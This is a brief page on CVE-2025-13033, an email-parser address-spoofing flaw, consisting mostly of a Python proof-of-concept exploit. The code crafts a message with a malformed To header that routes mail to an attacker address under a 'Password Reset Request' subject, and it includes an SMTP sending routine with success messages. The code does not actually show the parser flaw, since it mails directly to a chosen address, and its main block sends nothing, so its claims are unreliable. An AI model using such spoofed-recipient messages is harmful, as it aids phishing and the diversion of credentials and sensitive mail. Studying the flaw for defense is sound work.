CVE-2025-13033: 邮件解析库地址欺骗漏洞导致敏感信息泄露

# CVE-2025-13033 PoC - Email Address Misdirection # This PoC demonstrates how an attacker can exploit the email parsing vulnerability # to redirect emails to an external address import smtplib from email.mime.text import MIMEText from email.header import Header def create_malicious_email(): """ Create a malicious email with spoofed recipient address. The parsing vulnerability causes the email to be sent to the attacker-controlled external address instead of the intended internal recipient. """ # Malicious recipient format that exploits the parsing vulnerability # Format: "[email protected]" <[email protected]> # The parser incorrectly extracts [email protected] as the actual recipient malicious_recipient = '"[email protected]" <[email protected]>' # Attacker-controlled email address that will receive the redirected emails attacker_email = '[email protected]' msg = MIMEText('Sensitive internal data or authentication credentials', 'plain', 'utf-8') msg['From'] = Header('[email protected]') msg['To'] = Header(malicious_recipient) # Exploits the vulnerability msg['Subject'] = Header('Password Reset Request') return msg def send_exploit_email(smtp_server, smtp_port, from_addr, to_addr, msg): """ Send the malicious email through the SMTP server. """ try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.sendmail(from_addr, [to_addr], msg.as_string()) print(f"[+] Malicious email sent successfully") print(f"[+] Target internal address was spoofed") print(f"[+] Email was redirected to attacker: {to_addr}") except Exception as e: print(f"[-] Error sending email: {e}") # Example usage if __name__ == '__main__': msg = create_malicious_email() # In real attack scenario, attacker would send this through target's mail server print("PoC demonstrates email misdirection vulnerability CVE-2025-13033")